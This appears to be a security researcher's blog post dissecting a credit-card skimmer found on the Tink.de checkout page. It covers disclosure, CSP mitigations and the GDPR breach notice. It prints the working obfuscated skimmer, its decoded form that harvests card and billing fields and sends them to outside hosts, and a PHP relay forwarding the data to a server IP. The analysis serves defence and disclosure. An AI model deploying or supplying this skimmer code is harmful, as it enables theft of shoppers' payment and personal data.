published on

How credit cards got stolen from Tink.de

Tink.de (also Tink.us) is an online store specialized in smart-home devices. It uses a highly customized version of the Magento eCommerce platform. We found a piece of JavaScript malware embedded in their web-site which, during 4 months (from mid-July to mid-November 2018), forwarded customer details (full name, credit card numbers, billing address, email, telephone) to a server in Russia, possibly to be sold later on the dark web. In this post we take a look at how the customers data was captured, leaked, and how attackers try to cover their tracks.

We must start by saying that, in October 2016, numerous news outlets broke the news about web-based keyloggers infecting thousands of Magento eCommerce sites. This case is quite similar and shows that, even in 2018, we keep finding similar attacks. The infection vector is usually a vulnerability in one of the modules and plug-ins used by e-commerce platforms which allows the attacker to inject some custom JavaScript into the target web-site.

The attack

As said, we discovered such case on the Tink.de checkout view on the 15th of November 2018. In particular, the HTML contained a garbled embedded script:

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('6 w="1F.1I";6 G="/L/1z";6 W="1A://1P.1d.1G/1k/1j/1i/f/";6 O="1g://1h.1l/1m/1q/1p/1o/1n/f/";6 v=B;6 u=1f;10 K(){8(v)i;6 o=4.5(\'L-17-19\');8(o&&o.14.18!="1e"){6 p=4.5(\'1a\').9.12(\' \',\'\');6 c=4.5(\'1c\').9;8(c.n<2)c=\'0\'+c;6 z=4.5(\'1b\').9;6 q=4.5(\'1r\').9;8(p.n<15||q.n<3)i;6 m="";8(4.5(\'J\'))m=4.5(\'J\').9;6 r="";8(4.5(\'7:I\').9)r=4.5(\'7:I\').9;6 t="";8(4.5(\'7:M\'))t=4.5(\'7:M\').9;6 s="";8(4.5(\'7:N\'))s=4.5(\'7:N\').9;6 e="";6 d=4.5(\'7:1J\');8(d&&d.R>0)e=d[d.R].1N;1M 8(4.5(\'7:Q\'))e=4.5(\'7:Q\').9;6 k="";8(4.5(\'7:P\'))k=4.5(\'7:P\').9;6 h="";8(4.5(\'7:T\'))h=4.5(\'7:T\').9;6 l="";8(4.5(\'7:S\'))l=4.5(\'7:S\').9;6 j="";8(4.5(\'7:A\'))j=4.5(\'7:A\').9;6 b="";1y{b=13(p+\'|\'+c+\'/\'+z+\'|\'+q+\'|\'+m+\'|\'+r+\'|\'+t+\'|\'+s+\'|\'+e+\'|\'+k+\'|\'+h+\'|\'+l+\'|\'+j)}1H(16){b=13(x(b).12(/%([0-1L-F]{2})/g,10 1u(y,U){i 1w.1D(\'1E\'+U)}))}6 a=4.11("X");a.Z=1;a.Y=1;a.H="1K";a.V=W+"?f="+x(b)+"&D="+w;4.E.C(a);a=4.11("X");a.Z=1;a.Y=1;a.H="1O";a.V=O+"?f="+x(b)+"&D="+w;4.E.C(a);1t(u);v=B}}8(1B.1C.1x.y(G)){u=1s(K,1v)}',62,114,'||||document|getElementById|var|billing|if|value|bb|ress|cem|regelem|reg|data||ctry|return|phne|zip|eml|nnname|length|checkelem|crd|cvv|adr1|cty|adr2|intervalId|sedj74|xzm_dmn|encodeURIComponent|match|cey|telephone|false|appendChild|domain|body||xzm_checkoutpage|id|street1|adyen_cc_cc_owner|fgsexrkudj|checkout|street2|city|xzm_procl2|postcode|region|selectedIndex|email|country_id|p1|src|xzm_procl1|img|height|width|function|createElement|replace|btoa|style||err|step|display|review|adyen_cc_cc_number|adyen_cc_expiration_yr|adyen_cc_expiration|atas|none|null|http|darasabun|html|system|templates|com|admin|js|plupload|javascript|view|adyen_cc_cc_cid|setInterval|clearInterval|toSolidBytes|500|String|href|try|onepage|https|window|location|fromCharCode|0x|tink|pl|catch|de|region_id|dqfakndrvy|9A|else|text|uyijfbdyrsv|kursy'.split('|'),0,{}));</script>

What we see here is a common obfuscation scheme used to hide surreptitious code. In its prettyfied form it reads as:

<script type="text/javascript">
    eval(function(p, a, c, k, e, d) {
        e = function(c) {
            return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        };
        if (!''.replace(/^/, String)) {
            while (c--) {
                d[e(c)] = k[c] || e(c)
            }
            k = [function(e) {
                return d[e]
            }];
            e = function() {
                return '\\w+'
            };
            c = 1
        };
        while (c--) {
            if (k[c]) {
                p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
            }
        }
        return p
    }('6 w="1F.1I";6 G="/L/1z";6 W="1A://1P.1d.1G/1k/1j/1i/f/";6 O="1g://1h.1l/1m/1q/1p/1o/1n/f/";6 v=B;6 u=1f;10 K(){8(v)i;6 o=4.5(\'L-17-19\');8(o&&o.14.18!="1e"){6 p=4.5(\'1a\').9.12(\' \',\'\');6 c=4.5(\'1c\').9;8(c.n<2)c=\'0\'+c;6 z=4.5(\'1b\').9;6 q=4.5(\'1r\').9;8(p.n<15||q.n<3)i;6 m="";8(4.5(\'J\'))m=4.5(\'J\').9;6 r="";8(4.5(\'7:I\').9)r=4.5(\'7:I\').9;6 t="";8(4.5(\'7:M\'))t=4.5(\'7:M\').9;6 s="";8(4.5(\'7:N\'))s=4.5(\'7:N\').9;6 e="";6 d=4.5(\'7:1J\');8(d&&d.R>0)e=d[d.R].1N;1M 8(4.5(\'7:Q\'))e=4.5(\'7:Q\').9;6 k="";8(4.5(\'7:P\'))k=4.5(\'7:P\').9;6 h="";8(4.5(\'7:T\'))h=4.5(\'7:T\').9;6 l="";8(4.5(\'7:S\'))l=4.5(\'7:S\').9;6 j="";8(4.5(\'7:A\'))j=4.5(\'7:A\').9;6 b="";1y{b=13(p+\'|\'+c+\'/\'+z+\'|\'+q+\'|\'+m+\'|\'+r+\'|\'+t+\'|\'+s+\'|\'+e+\'|\'+k+\'|\'+h+\'|\'+l+\'|\'+j)}1H(16){b=13(x(b).12(/%([0-1L-F]{2})/g,10 1u(y,U){i 1w.1D(\'1E\'+U)}))}6 a=4.11("X");a.Z=1;a.Y=1;a.H="1K";a.V=W+"?f="+x(b)+"&D="+w;4.E.C(a);a=4.11("X");a.Z=1;a.Y=1;a.H="1O";a.V=O+"?f="+x(b)+"&D="+w;4.E.C(a);1t(u);v=B}}8(1B.1C.1x.y(G)){u=1s(K,1v)}', 62, 114, '||||document|getElementById|var|billing|if|value|bb|ress|cem|regelem|reg|data||ctry|return|phne|zip|eml|nnname|length|checkelem|crd|cvv|adr1|cty|adr2|intervalId|sedj74|xzm_dmn|encodeURIComponent|match|cey|telephone|false|appendChild|domain|body||xzm_checkoutpage|id|street1|adyen_cc_cc_owner|fgsexrkudj|checkout|street2|city|xzm_procl2|postcode|region|selectedIndex|email|country_id|p1|src|xzm_procl1|img|height|width|function|createElement|replace|btoa|style||err|step|display|review|adyen_cc_cc_number|adyen_cc_expiration_yr|adyen_cc_expiration|atas|none|null|http|darasabun|html|system|templates|com|admin|js|plupload|javascript|view|adyen_cc_cc_cid|setInterval|clearInterval|toSolidBytes|500|String|href|try|onepage|https|window|location|fromCharCode|0x|tink|pl|catch|de|region_id|dqfakndrvy|9A|else|text|uyijfbdyrsv|kursy'.split('|'), 0, {}));
</script>

We can see that the first statement is an eval() of a long obfuscated function. The result of interpreting this function results on the actual malware code:

var xzm_dmn = "tink.de";
var xzm_checkoutpage = "/checkout/onepage";
var xzm_procl1 = "https://kursy.atas.pl/templates/system/html/data/";
var xzm_procl2 = "http://redacted/admin/view/javascript/plupload/js/data/";
var sedj74 = false;
var intervalId = null;

function fgsexrkudj() {
    if (sedj74) return;
    var checkelem = document.getElementById('checkout-step-review');
    if (checkelem && checkelem.style.display != "none") {
        var crd = document.getElementById('adyen_cc_cc_number').value.replace(' ', '');
        var cem = document.getElementById('adyen_cc_expiration').value;
        if (cem.length < 2) cem = '0' + cem;
        var cey = document.getElementById('adyen_cc_expiration_yr').value;
        var cvv = document.getElementById('adyen_cc_cc_cid').value;
        if (crd.length < 15 || cvv.length < 3) return;
        var nnname = "";
        if (document.getElementById('adyen_cc_cc_owner')) nnname = document.getElementById('adyen_cc_cc_owner').value;
        var adr1 = "";
        if (document.getElementById('billing:street1').value) adr1 = document.getElementById('billing:street1').value;
        var adr2 = "";
        if (document.getElementById('billing:street2')) adr2 = document.getElementById('billing:street2').value;
        var cty = "";
        if (document.getElementById('billing:city')) cty = document.getElementById('billing:city').value;
        var reg = "";
        var regelem = document.getElementById('billing:region_id');
        if (regelem && regelem.selectedIndex > 0) reg = regelem[regelem.selectedIndex].text;
        else if (document.getElementById('billing:region')) reg = document.getElementById('billing:region').value;
        var zip = "";
        if (document.getElementById('billing:postcode')) zip = document.getElementById('billing:postcode').value;
        var ctry = "";
        if (document.getElementById('billing:country_id')) ctry = document.getElementById('billing:country_id').value;
        var eml = "";
        if (document.getElementById('billing:email')) eml = document.getElementById('billing:email').value;
        var phne = "";
        if (document.getElementById('billing:telephone')) phne = document.getElementById('billing:telephone').value;
        var ress = "";
        try {
            ress = btoa(crd + '|' + cem + '/' + cey + '|' + cvv + '|' + nnname + '|' + adr1 + '|' + adr2 + '|' + cty + '|' + reg + '|' + zip + '|' + ctry + '|' + eml + '|' + phne)
        } catch (err) {
            ress = btoa(encodeURIComponent(ress).replace(/%([0-9A-F]{2})/g, function toSolidBytes(match, p1) {
                return String.fromCharCode('0x' + p1)
            }))
        }
        var bb = document.createElement("img");
        bb.width = 1;
        bb.height = 1;
        bb.id = "dqfakndrvy";
        bb.src = xzm_procl1 + "?data=" + encodeURIComponent(ress) + "&domain=" + xzm_dmn;
        document.body.appendChild(bb);
        bb = document.createElement("img");
        bb.width = 1;
        bb.height = 1;
        bb.id = "uyijfbdyrsv";
        bb.src = xzm_procl2 + "?data=" + encodeURIComponent(ress) + "&domain=" + xzm_dmn;
        document.body.appendChild(bb);
        clearInterval(intervalId);
        sedj74 = false
    }
}
if (window.location.href.match(xzm_checkoutpage)) {
    intervalId = setInterval(fgsexrkudj, 500)
}

This code is specially crafted to access the value of multiple fields of the checkout form, particularly:

  • Credit card number, expiration date and verification code (as used by Ayden, a widely used payment provider).
  • Credit card owner, full billing address, email and telephone.

All the information is concatenated and encoded as a base64 string. Following this, two new 1x1 pixels image elements are created and the source of that image is set to malware.domain/?data=<base64string>&domain=tink.de. This triggers a browser request to load such image, allowing the malware server to conveniently store the data provided in the query argument.

In fact, two images are loaded. We can hypothesize that the attackers sent the data to two different targets for redundancy, in case one of them stopped working. As part of our research we contacted both webmasters of the target URLs and confirmed our fears that they were unaware third parties used as a hop. The attackers, possibly using a weakly protected FTP endpoint, had uploaded a custom PHP script which just makes the data hop to the next destination. The PHP script, provided to use by the only webmaster that responded and fixed the issue, looks as follows:

<?php
error_reporting(0);
set_time_limit(15);

header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

if(isset($_REQUEST['data']))
{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'http://5.188.62.31/rcpt.php?'.$_SERVER['QUERY_STRING']);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $resp = curl_exec($ch);
        curl_close($ch);

        if($resp!="ok!")
                file_put_contents('errors.txt', $_REQUEST['domain'] . " - " . $_REQUEST['data'] . "\r\n", FILE_APPEND);
        echo 'ok!';
}

Apart from making sure that browsers do not cache the response to this request (lest they skip forwarding some of the stolen data), we see that the query string in the request is further sent to http://5.188.62.31/rcpt.php. If an error happens, the attackers use a local errors.txt file as backup.

The 5.188.62.31 is in Russia and belongs to the hosting provider Pinspb.ru. We made reports about all the compromised servers to their hosting providers. Pinspb.ru responded with an automated message which explains why Russia is such a nice place to host your malware:

Your abuse was received and transferred to our client. It was marked as
Purple danger level. According to the statutory rules, the client has to
remove the reason of your complaint within 24 hours.  We apologize on behalf
of our client for the current situation.  If you still had any questions,
please, do not hesitate to contact abuse@pinspb.ru.

If caught, you have 24 hours to clean up and other than that, nothing will happen. In fact, that endpoint is still perfectly working, possibly receiving credit card details from other compromised stores.

The mitigations

We of course notified Tink.de immediately and they promptly fixed the issue which hopefully saved numerous customers from having their credit calls stolen during their Black Friday shopping sprees. We also provided some tips on how to prevent this from happening again.

Apart from keeping up to date the web-site and server software used, browsers provide some facilities to prevent a compromised web-site from triggering requests or fetching content from unknown places within the CSP (Content Security Policy) framework. CSP allows the server to set some headers which limit the scope of external resources that can be requested by the browser. For example, denying all requests for any type of contents except those related to the analytics javascript endpoints, the images from the CDN and the payment provider URLs. To be on the safe side, these headers can be set on the load balancer directly, to avoid being overwritten if the PHP site is fully compromised.

The X-Content-Type-Options, X-Frame-Options and X-Xss-Protection headers might also be helpful in some scenarios and browsers to prevent other forms of attacks and impersonations of the legit web-sites.

Data leaks and GDPR

As a final note, due to the serious nature of the leak, Tink.de must have notified the data protection authorities under the GDPR Article 33.

Per Article 34, users affected by the breach should be notified without undue delay when the breach is likely to result in a high risk to the rights and freedoms of natural persons.

tink.de notification

This notification seems to have happened 57 days after the breach was known and, by coincindence or not, a few hours after we reached out for comment to the data protections authorities. Unfortunately, it does not give may details and forgets to mention that not only the credit card numbers were leaked, but also home, email addresses and telephone numbers.